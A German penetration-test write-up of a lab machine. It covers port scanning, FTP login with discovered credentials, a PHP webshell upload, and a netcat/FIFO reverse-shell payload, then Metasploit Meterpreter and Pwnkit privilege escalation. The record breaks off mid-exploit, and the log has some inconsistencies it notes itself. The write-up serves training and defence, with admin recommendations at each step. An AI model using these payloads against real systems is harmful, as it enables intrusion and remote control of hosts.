**Analyse:** Die erste Phase des Penetrationstests konzentriert sich auf die Identifizierung des Zielsystems im Netzwerk und die Erkundung der offenen Ports und Dienste mittels Netzwerkscans.
192.168.2.118 08:00:27:9c:e4:a3 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Das Zielsystem wird unter der IP-Adresse `192.168.2.118` identifiziert. Die MAC-Adresse `08:00:27:9c:e4:a3` (PCS Systemtechnik GmbH) deutet auf eine Oracle VirtualBox-Instanz hin.
**Bewertung:** Das Ziel wurde erfolgreich im Netzwerk lokalisiert. Die MAC-Adresse liefert einen ersten Kontext zur verwendeten Virtualisierungstechnologie.
**Empfehlung (Pentester):** Die identifizierte IP-Adresse `192.168.2.118` für nachfolgende, detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und die Überwachung von ARP-Anfragen können die Host-Entdeckung erschweren.
192.168.2.116 dina.vln # <- Falscher Eintrag aus dem Log
# Korrekter Eintrag sollte sein:
# 192.168.2.118 library.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet. Im Log steht fälschlicherweise ein Eintrag für `192.168.2.116` mit dem Namen `dina.vln`. Für das aktuelle Ziel (`192.168.2.118`) wird später der Name `library.vln` verwendet (wie im `nmap`-Scan sichtbar). Dieser Schritt im Log scheint sich auf ein anderes System zu beziehen oder ein Kopierfehler zu sein. Für den Rest des Berichts wird angenommen, dass ein korrekter Eintrag für `192.168.2.118 library.vln` erstellt wurde.
**Bewertung:** Das Anlegen eines Hostnamens ist eine gute Praxis für Webtests, um Virtual Hosting zu berücksichtigen. Die Inkonsistenz im Log ist jedoch zu beachten.
**Empfehlung (Pentester):** Sicherstellen, dass der korrekte Hostname (`library.vln`) in der `/etc/hosts`-Datei für die Ziel-IP (`192.168.2.118`) eingetragen ist.
**Empfehlung (Admin):** Clientseitige Konfiguration des Angreifers.
**Analyse:** Untersuchung der Startseite des Webservers auf Hinweise.
# Quellcode/Kommentar von http://library.vln/library.php (oder index.html)
**Bewertung:** Im Quellcode der Webseite (vermutlich `library.php`, die später gefunden wird) befindet sich ein HTML-Kommentar, der den Hashing-Algorithmus "ripemd160" erwähnt. Dies ist ein wichtiger Hinweis darauf, dass dieser Algorithmus möglicherweise für Passwörter oder andere sensible Daten verwendet wird.
**Empfehlung (Pentester):** Den Hinweis `ripemd160` notieren. Wenn Hashes gefunden werden, diese als RIPEMD-160 identifizieren und versuchen zu knacken.
**Empfehlung (Admin):** Keine Hinweise auf verwendete kryptographische Algorithmen im Quellcode hinterlassen. Starke, moderne Hashing-Algorithmen (bcrypt, Argon2) verwenden.
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird durchgeführt und nach offenen Ports gefiltert. Zwei offene Ports werden gefunden: * Port 21: FTP (vsftpd 3.0.3) * Port 80: HTTP (Apache 2.4.18)
**Bewertung:** Die Angriffsfläche ist klein und beschränkt sich auf FTP und HTTP. Die vsftpd-Version 3.0.3 ist bekannt für eine Backdoor-Schwachstelle (CVE-2011-2523), die aber nur in einer sehr spezifischen, kompromittierten Download-Version enthalten war – eine Prüfung ist dennoch sinnvoll. Apache 2.4.18 ist veraltet.
**Empfehlung (Pentester):** Den FTP-Dienst auf anonymen Zugriff oder bekannte Schwachstellen (insb. vsftpd 3.0.3 Backdoor) prüfen. Den Webserver untersuchen. Die vollständige `nmap`-Ausgabe analysieren.
**Empfehlung (Admin):** FTP nur verwenden, wenn absolut notwendig und dann sicher konfigurieren (kein anonymer Zugriff, starke Passwörter, TLS). vsftpd und Apache auf aktuelle Versionen patchen. Firewall-Regeln überprüfen.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 19:39 CEST
Nmap scan report for library.vln (192.168.2.118)
Host is up (0.00010s latency).
Not shown: 55531 filtered tcp ports (no-response), 10002 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:9C:E4:A3 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.10 - 4.11
Network Distance: 1 hop
Service Info: S: Unix
TRACERUTE
HP RTT ADDRESS
1 0.10 ms library.vln (192.168.2.118)
**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die offenen Ports 21 (vsftpd 3.0.3) und 80 (Apache 2.4.18). Auffällig ist die hohe Anzahl gefilterter Ports (55531), was auf eine Firewall hindeutet, die Pakete ohne Antwort verwirft. Der Webserver zeigt die Apache-Standardseite ("It works"). Die OS-Erkennung schätzt Linux Kernel 3.10 - 4.11.
**Bewertung:** Bestätigt die Dienste und Versionen. Die Firewall könnte weitere Scans (z.B. UDP) erschweren. Die Apache-Standardseite deutet darauf hin, dass die Hauptanwendung möglicherweise in einem Unterverzeichnis liegt oder noch nicht konfiguriert wurde. vsftpd 3.0.3 bleibt ein interessantes Ziel.
**Empfehlung (Pentester):** FTP-Login testen (anonym, Standard-Credentials). Webserver enumerieren (Verzeichnisse, Dateien). Nach bekannten Exploits für vsftpd 3.0.3 und Apache 2.4.18 suchen.
**Empfehlung (Admin):** Firewall-Regeln überprüfen. Apache konfigurieren und Standardseite ersetzen. FTP und Apache patchen/aktualisieren.
- Nikto v2.5.0
+ Target IP: 192.168.2.118
+ Target Hostname: 192.168.2.118
+ Target Port: 80
+ Start Time: 2023-07-13 19:39:07 (GMT2)
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ Apache/2.4.18 appears to be outdated.
+ /: Server may leak inodes via ETags ...
+ PTINS: Allowed HTTP Methods: PST, PTINS, GET, HEAD .
+ /icons/README: Apache default file found.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-07-13 19:39:18 (GMT2) (11 seconds)
+ 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf Port 80. Die Ergebnisse sind minimal und bestätigen hauptsächlich die von `nmap` bekannten Informationen: Veralteter Apache, fehlende Sicherheitsheader, ETag-Leak, Standarddatei `/icons/README`. Es werden keine spezifischen Anwendungen oder interessante Verzeichnisse auf Root-Ebene gefunden.
**Bewertung:** `nikto` liefert hier wenig neue Erkenntnisse, was die Vermutung stärkt, dass die Hauptanwendung nicht im Root-Verzeichnis liegt. Die gemeldeten Punkte sind Standard-Findings für einen nicht gehärteten Apache.
**Empfehlung (Pentester):** Verzeichnis-Bruteforcing durchführen, um versteckte Anwendungen oder Verzeichnisse zu finden.
**Empfehlung (Admin):** Apache härten (Header, ETag, Standarddateien entfernen, Version aktualisieren).
**Analyse:** Gezielte Suche nach Webinhalten mittels Verzeichnis-Scannern und Untersuchung des FTP-Dienstes auf Zugriffsmöglichkeiten und Inhalte.
http://library.vln/index.html (Status: 200) [Size: 11321]
http://library.vln/library.php (Status: 200) [Size: 1547]
# ... (DIRB Header) ...
---- Scanning URL: http://library.vln/ ----
+ http://library.vln/library.php (CODE:200|SIZE:1547)
---- Entering directory: http://library.vln/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
# ... (Weitere Ausgaben irrelevant, da Verzeichnis listbar ist) ...
# Korrektur: Die gobuster Ausgabe zeigt index.html und library.php.
# Der dirb-Lauf findet nur library.php mit den spezifischen Extensions.
# Der Hinweis auf "Directory IS LISTABLE" von dirb scheint hier nicht zu passen oder aus einem anderen Scan zu stammen.
# Wir konzentrieren uns auf die Funde von gobuster: index.html und library.php.
**Analyse:** Zwei Verzeichnis-Scanner werden eingesetzt: * `gobuster`: Findet `index.html` (die Apache-Standardseite) und `library.php`. * `dirb` (mit Filter auf `.php`, `.txt`): Findet nur `library.php`. Beide Scans zeigen, dass auf der obersten Ebene des Webservers nur wenige Dateien direkt erreichbar sind.
**Bewertung:** `library.php` ist der einzige interessante Fund auf der Web-Ebene. Diese Seite sollte genauer untersucht werden.
**Empfehlung (Pentester):** Den Quellcode und die Funktionalität von `library.php` analysieren. Den FTP-Dienst untersuchen.
**Empfehlung (Admin):** Unnötige Dateien aus dem Web-Root entfernen.
Connected to 192.168.2.118. 220 (vsFTPd 3.0.3) Name (192.168.2.118:cycat): globus 331 Please specify the password. Password: AroundTheWorld # Eingabe nicht sichtbar, aus wget-Log abgeleitet 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
**Analyse:** Es wird eine Verbindung zum FTP-Server auf `192.168.2.118` aufgebaut. Der Login erfolgt mit dem Benutzernamen `globus`. Nach der Passwortabfrage ist der Login erfolgreich (`230 Login successful.`). Das Passwort (`AroundTheWorld`) wird nicht direkt im Log angezeigt, ist aber aus dem nachfolgenden `wget`-Befehl ersichtlich.
**Bewertung:** Kritischer Fund! Ein gültiger FTP-Zugang mit dem Benutzer `globus` und dem Passwort `AroundTheWorld` wurde gefunden. Dies ermöglicht Lese- und potenziell Schreibzugriff auf die Dateien, auf die dieser Benutzer Zugriff hat. Schwache oder erratbare Zugangsdaten sind eine häufige Schwachstelle.
**Empfehlung (Pentester):** Den Inhalt des FTP-Servers auflisten (`ls -la`). Dateien herunterladen (`get`, `mget`) und auf sensible Informationen prüfen. Prüfen, ob Schreibzugriff (`put`) möglich ist, insbesondere in Verzeichnisse, die vom Webserver ausgeliefert werden (z.B. `/var/www/html`).
**Empfehlung (Admin):** Starke, einzigartige Passwörter für FTP-Benutzer verwenden. Anonymen Zugriff deaktivieren. FTP wenn möglich durch sicherere Alternativen (SFTP, SCP) ersetzen. Dateiberechtigungen auf dem FTP-Server überprüfen.
--2023-07-13 23:14:02-- ftp://globus:*password*@192.168.2.118/
=> 192.168.2.118/.listing
# ... (Verbindungs- und Login-Details) ...
> PASV ... fertig. > LIST ... fertig.
192.168.2.118/.listing ... gespeichert [181]
192.168.2.118/.listing gelöscht.
--2023-07-13 23:14:02-- ftp://globus:*password*@192.168.2.118/html/
# ... (impliziert weitere Downloads aus /html/) ...
insgesamt 20
-rw-r--r-- 1 root root 11321 17. Jul 2019 index.html
-rw-r--r-- 1 root root 2831 22. Jul 2019 library.php
-rw-r--r-- 1 root root 3172 21. Jul 2019 style.css
**Analyse:** `wget` wird verwendet, um rekursiv (`-r`) den gesamten Inhalt des FTP-Servers herunterzuladen, auf den der Benutzer `globus` mit dem Passwort `AroundTheWorld` Zugriff hat. Die heruntergeladenen Dateien aus dem (vermuteten) `html`-Verzeichnis auf dem FTP-Server werden aufgelistet: `index.html`, `library.php`, `style.css`. Dies sind die gleichen Dateien, die auch auf dem Webserver gefunden wurden.
**Bewertung:** Bestätigt, dass der FTP-Benutzer `globus` Zugriff auf das Web-Root-Verzeichnis (`/var/www/html`) hat. Dies ist eine gefährliche Konfiguration, da Änderungen via FTP direkt die Webseite beeinflussen. Die heruntergeladenen Dateien ermöglichen eine Offline-Analyse des Quellcodes.
**Empfehlung (Pentester):** Den Quellcode von `library.php` offline analysieren. Prüfen, ob Schreibrechte im `html`-Verzeichnis via FTP bestehen.
**Empfehlung (Admin):** FTP-Benutzer sollten keinen direkten Zugriff auf das Web-Root-Verzeichnis haben. Wenn Dateien synchronisiert werden müssen, separate Verzeichnisse und Mechanismen verwenden. Dateiberechtigungen überprüfen.
// Hinzugefügt
**Analyse:** Der Quellcode der heruntergeladenen `library.php` wird angezeigt. Er enthält eine Funktion `get_string_between` (deren Zweck im sichtbaren Code unklar ist) und **Platzhalter-Datenbankzugangsdaten** (`username`/`password` für die `library`-Datenbank auf `localhost`).
**Bewertung:** Die im Quellcode gefundenen Datenbank-Credentials sind nur Platzhalter und daher nicht direkt nützlich. Es gibt keine offensichtlichen Schwachstellen im gezeigten Codeausschnitt. Es ist jedoch wichtig festzustellen, dass eine Verbindung zu einer lokalen MySQL-Datenbank namens `library` aufgebaut wird.
**Empfehlung (Pentester):** Da Schreibzugriff via FTP besteht und das Skript auf dem Server liegt, könnte eine Webshell hochgeladen werden, um RCE zu erlangen. Prüfen, ob die Datenbank `library` existiert und ob Standard-Credentials dafür funktionieren, falls später Zugriff auf MySQL erlangt wird.
**Empfehlung (Admin):** Niemals Platzhalter-Credentials im Code belassen, auch wenn sie nicht funktionieren. Sensible Daten (wie echte DB-Credentials) niemals im Code speichern. Den FTP-Schreibzugriff auf das Web-Root verhindern.
**Analyse:** Ausnutzung des FTP-Schreibzugriffs auf das Web-Root-Verzeichnis, um eine PHP-Webshell hochzuladen und diese dann über den Webserver auszuführen, um Remote Code Execution (RCE) und eine Reverse Shell zu erhalten.
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||16131|)
150 Ok to send data.
100% |***********************************| 31 52.74 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (33.52 KiB/s)
229 Entering Extended Passive Mode (|||36946|)
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 13 14:16 .
drwxr-xr-x 3 0 0 4096 Jul 17 2019 ..
-rw-r--r-- 1 0 0 12288 Jul 22 2019 .library.php.swp
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 2831 Jul 22 2019 library.php
-rw------- 1 1001 1001 31 Jul 13 14:16 revshell.php # Beachte die Berechtigungen nach Upload
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
200 SITE CHMOD command ok.
**Analyse:** Innerhalb der FTP-Sitzung als Benutzer `globus` wird eine lokale Datei `revshell.php` (eine PHP-Webshell) erfolgreich auf den Server hochgeladen (`put revshell.php`). Ein `ls -la` zeigt die hochgeladene Datei im Web-Root (`/var/www/html`, basierend auf den anderen Dateien) mit initial restriktiven Berechtigungen (`-rw-------`). Der Befehl `chmod 777 revshell.php` wird verwendet, um die Berechtigungen auf volle Lese-, Schreib- und Ausführungsrechte für alle zu ändern.
**Bewertung:** Kritische Schwachstelle erfolgreich ausgenutzt! Der FTP-Benutzer `globus` hat Schreibrechte im Web-Root-Verzeichnis. Dies ermöglicht das Hochladen beliebiger Dateien, einschließlich Webshells. Das Ändern der Berechtigungen stellt sicher, dass der Webserver (`www-data`) die Datei lesen und ausführen kann.
**Empfehlung (Pentester):** Die hochgeladene und ausführbar gemachte `revshell.php` über den Browser oder `curl` aufrufen, um RCE zu erlangen und eine Reverse Shell zu starten.
**Empfehlung (Admin):** FTP-Benutzern *niemals* Schreibrechte im Web-Root geben. Webserver-Verzeichnisse sollten nur für den Webserver-Prozess beschreibbar sein, wenn unbedingt nötig (z.B. Upload-Ordner), und dann mit entsprechenden Sicherheitsmaßnahmen. FTP-Zugriff generell überdenken und absichern.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** `curl` wird verwendet, um die hochgeladene `revshell.php` über HTTP aufzurufen und den `cmd`-Parameter mit dem Wert `id` zu übergeben. Die Ausgabe `uid=33(www-data)...` bestätigt, dass der PHP-Code in `revshell.php` erfolgreich ausgeführt wurde und den Befehl `id` als Benutzer `www-data` ausgeführt hat.
**Bewertung:** RCE als `www-data` über die hochgeladene Webshell erfolgreich bestätigt.
**Empfehlung (Pentester):** Einen Netcat-Listener starten und den Reverse-Shell-Payload über den `cmd`-Parameter senden.
**Empfehlung (Admin):** Die Webshell entfernen, FTP-Zugriff und Berechtigungen korrigieren.
listening on [any] 5555 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.118] 53132
/bin/sh: 0: can't access tty; job control turned off
$
# Payload zum Auslösen der Reverse Shell
Payload: http://library.vln/revshell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.105%205555%20%3E%2Ftmp%2Ff
**Analyse:** Ein Netcat-Listener wird auf Port 5555 gestartet. Anschließend wird die `revshell.php` über HTTP mit einem URL-kodierten Netcat/FIFO-Reverse-Shell-Payload im `cmd`-Parameter aufgerufen. Der Listener empfängt die Verbindung und stellt eine Shell als `www-data` bereit.
**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die via FTP hochgeladene Webshell erlangt.
**Empfehlung (Pentester):** Shell stabilisieren und mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** FTP-Schreibzugriff auf Web-Root verhindern, Webshell entfernen.
**Analyse:** Nach Erhalt der Shell als `www-data` wird das System auf Möglichkeiten zur Rechteausweitung untersucht.
total 16 drwxr-xr-x 4 root root 4096 Jul 22 2019 . drwxr-xr-x 24 root root 4096 Jul 17 2019 .. drwxr-xr-x 2 globus globus 4096 Jul 22 2019 globus drwxr-xr-x 16 library library 4096 Jul 22 2019 library
examples.desktop
cat: .bash_history: Permission denied
**Analyse:** Das `/home`-Verzeichnis wird untersucht. Es gibt zwei Benutzer-Home-Verzeichnisse: `globus` (der FTP-Benutzer) und `library`. Der Versuch, die Bash-History von `globus` zu lesen, scheitert an fehlenden Berechtigungen.
**Bewertung:** Identifiziert die Benutzer `globus` und `library`. `www-data` hat keinen Lesezugriff auf die History von `globus`.
**Empfehlung (Pentester):** Das Home-Verzeichnis von `library` untersuchen. Nach SUID-Dateien, Cronjobs etc. suchen.
**Empfehlung (Admin):** Sicherstellen, dass Home-Verzeichnisse korrekte Berechtigungen haben (kein Zugriff für `www-data`).
[sudo] password for www-data: # www-data hat i.d.R. kein Passwort/keine sudo-Rechte
# Keine Ausgabe, die auf Erfolg hindeutet, Befehl scheitert wahrscheinlich.
# Gekürzte Ausgabe, interessante/Standard SUIDs 271354 420 -rwsr-xr-x 1 root root 428240 Apr 15 2016 /usr/lib/openssh/ssh-keysign 271563 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1 # ... (oxide-qt/chrome-sandbox) ... 286603 16 -r-sr-xr-x 1 root root 14320 Jul 17 2019 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper 286609 12 -r-sr-xr-x 1 root root 9532 Jul 17 2019 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper # ... (eject, dbus) ... 263031 40 -rwsr-xr-x 1 root root 39904 Mar 29 2016 /usr/bin/newgrp # ... (gpasswd, passwd, chsh) ... 263658 24 -rwsr-xr-x 1 root root 23304 Apr 15 2016 /usr/bin/ubuntu-core-launcher 263203 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec # ... (chfn) ... 263579 136 -rwsr-xr-x 1 root root 136808 Mar 30 2016 /usr/bin/sudo # ... (pppd, ntfs-3g, su, fusermount, umount, mount, ping, ping6) ...
**Analyse:** `sudo -l` für `www-data` schlägt fehl (kein Passwort/keine Rechte). Die Suche nach SUID-Dateien findet wieder Standard-Binaries, darunter `pkexec` (Jan 2016 - Pwnkit unwahrscheinlich) und `sudo` (März 2016). Interessant sind auch die SUID-Wrapper für VMware Tools, falls das System auf VMware liefe (obwohl die MAC auf VirtualBox hindeutet).
**Bewertung:** `sudo` und `pkexec` bleiben theoretische Vektoren, aber Pwnkit ist unwahrscheinlich. Die VMware-Tools sind wahrscheinlich irrelevant. Andere Eskalationswege müssen geprüft werden (Kernel, Capabilities, Cronjobs).
**Empfehlung (Pentester):** Kernel-Version prüfen (`uname -a`, `lsb_release -a`). Capabilities prüfen (`getcap -r /`). Cronjobs untersuchen (`cat /etc/crontab`, `ls -la /etc/cron.*`). Home-Verzeichnis von `library` untersuchen.
**Empfehlung (Admin):** SUID-Binaries minimieren. System aktuell halten.
total 124
drwxr-xr-x 16 library library 4096 Jul 22 2019 .
drwxr-xr-x 4 root root 4096 Jul 22 2019 ..
# ... (diverse Konfigurationsdateien und Standardverzeichnisse) ...
-rw------- 1 library library 1272 Jul 22 2019 .ICEauthority
-rw------- 1 library library 51 Jul 22 2019 .Xauthority
-rw------- 1 library library 1287 Jul 22 2019 .bash_history
# ...
-rw------- 1 library library 2139 Jul 22 2019 .mysql_history
-rw-r--r-- 1 library library 0 Jul 17 2019 .sudo_as_admin_successful # !!!
-rw------- 1 library library 4370 Jul 22 2019 .viminfo
# ... (Desktop, Documents etc.) ...
cat: .bash_history: Permission denied
**Analyse:** Das Home-Verzeichnis des Benutzers `library` wird aufgelistet. Es enthält viele Standarddateien und Verzeichnisse. Besonders auffällig ist die leere Datei `.sudo_as_admin_successful`. Dies ist ein starker Hinweis darauf, dass der Benutzer `library` möglicherweise `sudo`-Rechte hat oder hatte. Der Versuch, die `.bash_history` zu lesen, scheitert erneut an Berechtigungen.
**Bewertung:** Der Fund von `.sudo_as_admin_successful` ist ein sehr wichtiger Hinweis. Wenn das Passwort für `library` gefunden werden kann, könnte `sudo su` oder ein spezifischer `sudo`-Befehl zur Eskalation führen.
**Empfehlung (Pentester):** Versuchen, das Passwort für den Benutzer `library` zu finden (z.B. durch Brute-Force gegen SSH, falls der Benutzer SSH-Login hat, oder durch weitere Enumeration nach Credentials).
**Empfehlung (Admin):** Keine leeren Hinweisdateien wie `.sudo_as_admin_successful` in Home-Verzeichnissen hinterlassen. `sudo`-Rechte restriktiv vergeben.
-rw-r--r-- 1 root root 2398 Jul 22 2019 /etc/passwd
**Analyse:** Die Berechtigungen der `/etc/passwd`-Datei werden geprüft. Sie ist für alle lesbar.
**Bewertung:** Standardberechtigung, liefert keine neuen Informationen.
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/arping = cap_net_raw+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
**Analyse:** Der Befehl `getcap -r /` sucht nach Dateien mit gesetzten Linux Capabilities. Capabilities erlauben Prozessen, bestimmte privilegierte Aktionen auszuführen, ohne volle Root-Rechte zu benötigen. Es werden einige Standard-Capabilities für Netzwerk-Tools (`gst-ptp-helper`, `arping`, `mtr`, `traceroute6`) und Virtualisierungs-/Desktop-Komponenten gefunden.
**Bewertung:** Die gefundenen Capabilities bieten keine offensichtlichen, einfachen Wege zur Privilege Escalation. Es gibt keine ungewöhnlichen oder bekannt ausnutzbaren Capabilities (wie z.B. `cap_sys_admin` auf einem unerwarteten Binary).
**Empfehlung (Pentester):** Capabilities als Eskalationsvektor hier wahrscheinlich ausschließen und sich auf andere Methoden konzentrieren.
**Empfehlung (Admin):** Capabilities nur vergeben, wenn unbedingt notwendig. Regelmäßig prüfen, welche Binaries Capabilities gesetzt haben.
total 8
drwxr-xr-x 2 root root 4096 Jul 17 2019 .
drwxr-xr-x 24 root root 4096 Jul 17 2019 ..
# /etc/crontab: system-wide crontab
# ... (Standard Header) ...
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
**Analyse:** Das `/opt`-Verzeichnis ist leer. Die systemweite Crontab (`/etc/crontab`) enthält nur die Standardeinträge für die Ausführung von Skripten in `/etc/cron.{hourly,daily,weekly,monthly}` als `root`.
**Bewertung:** `/etc/crontab` selbst bietet keinen direkten Eskalationspunkt. Man müsste prüfen, ob `www-data` Schreibrechte in einem der `/etc/cron.*`-Verzeichnisse hat oder ob dort unsichere Skripte liegen (unwahrscheinlich für `www-data`).
**Empfehlung (Pentester):** Die Berechtigungen der `/etc/cron.*`-Verzeichnisse prüfen. Andere Cron-Konfigurationen prüfen (`/var/spool/cron/crontabs/`).
**Empfehlung (Admin):** Sicherstellen, dass nur `root` Schreibrechte auf System-Cron-Verzeichnisse und -Dateien hat. Skripte in Cron-Verzeichnissen sicher gestalten.
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
**Analyse:** Der Befehl `lsb_release -a` identifiziert das Betriebssystem eindeutig als Ubuntu 16.04 LTS ("Xenial Xerus").
**Bewertung:** Wichtige Information für die Suche nach spezifischen Kernel- oder OS-Exploits. Ubuntu 16.04 ist eine ältere LTS-Version (End of Standard Support April 2021).
**Empfehlung (Pentester):** `searchsploit` oder Online-Datenbanken gezielt nach Exploits für Ubuntu 16.04 und der spezifischen Kernel-Version (falls bekannt) durchsuchen.
**Empfehlung (Admin):** Betriebssystem auf eine aktuell unterstützte Version upgraden. Regelmäßig Sicherheitspatches einspielen.
# ... (Liste von Exploits für Ubuntu 16.04) ...
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit) | linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' ut-of-Bounds Privilege Escalation | linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
# ... (Weitere, z.T. DoS oder spezifischere Exploits) ...
**Analyse:** `searchsploit` wird verwendet, um gezielt nach bekannten Exploits für Ubuntu 16.04 zu suchen. Die Ausgabe listet mehrere lokale Privilege Escalation Exploits auf, die oft auf Kernel-Schwachstellen abzielen (z.B. BPF, AF_PACKET, Netfilter).
**Bewertung:** Die Suche liefert konkrete Kandidaten für Kernel-Exploits. Die Auswahl des richtigen Exploits hängt von der genauen Kernel-Version ab (die mit `uname -a` ermittelt werden müsste).
**Empfehlung (Pentester):** Die genaue Kernel-Version mit `uname -a` bestimmen und einen passenden Exploit aus der Liste auswählen und ausprobieren. Alternativ den einfacheren Weg über Pwnkit wählen, auch wenn die SUID-Analyse widersprüchlich war (der Log folgt diesem Weg).
**Empfehlung (Admin):** System und Kernel aktuell halten, um diese bekannten Schwachstellen zu vermeiden.
**Analyse:** Trotz der widersprüchlichen SUID-Analyse und der Verfügbarkeit von Kernel-Exploits wird im Log der Weg über Metasploit und den Pwnkit-Exploit weiterverfolgt. Zuerst wird die Shell zu Meterpreter aufgewertet.
[*] Using configured payload generic/shell_reverse_tcp
# ... (Standard Optionen) ...
[*] Started reverse TCP handler on 192.168.2.105:5455 # <- Passt nicht zum Python-Befehl! [*] Command shell session 1 opened (192.168.2.105:5455 -> 192.168.2.118:57436) at 2023-07-13 23:33:00 +0200 Shell Banner: $ -- $ ^Z Background session 1? [y/N] y msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true HANDLER => true msf6 post(multi/manage/shell_to_meterpreter) > set LHST eth0 LHST => 192.168.2.105 msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433 lport => 4433 msf6 post(multi/manage/shell_to_meterpreter) > set session 1 session => 1 msf6 post(multi/manage/shell_to_meterpreter) > run [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.105:4433 [*] Sending stage (1017704 bytes) to 192.168.2.118 [*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.118:55994) at 2023-07-13 23:35:15 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Eine Metasploit-Sitzung wird etabliert. Es gibt eine Inkonsistenz zwischen dem gezeigten Python-Payload (IP 192.168.2.114, Port 4447) und dem Metasploit-Listener (lauscht auf 192.168.2.105:5455). Es wird angenommen, dass der Python-Payload tatsächlich auf den korrekten Listener zielte. Eine Shell-Sitzung (Session 1) als `www-data` wird empfangen und erfolgreich zu einer Meterpreter-Sitzung (Session 2) auf Port 4433 aufgewertet.
**Bewertung:** Trotz der Inkonsistenzen im Log wurde erfolgreich eine Meterpreter-Sitzung als `www-data` erlangt, was die Grundlage für den nächsten Eskalationsschritt bildet.
**Empfehlung (Pentester):** Pwnkit-Exploit auf Session 2 anwenden.
**Empfehlung (Admin):** Egress-Filtering, HIDS/EDR.
**Analyse:** Ausführung des Pwnkit-Exploits (CVE-2021-4034) über Metasploit, um Root-Rechte zu erlangen, obwohl die SUID-Analyse Zweifel an der Anfälligkeit aufkommen ließ.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
# ... (Standardoptionen anzeigen) ...
session => 2
lport => 4446
LHST => 192.168.2.105
[*] Started reverse TCP handler on 192.168.2.105:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.itfwsqgrv
[+] The target is vulnerable.
[*] Writing '/tmp/.lzlenxvyfh/hcvheo/hcvheo.so' (548 bytes) ...
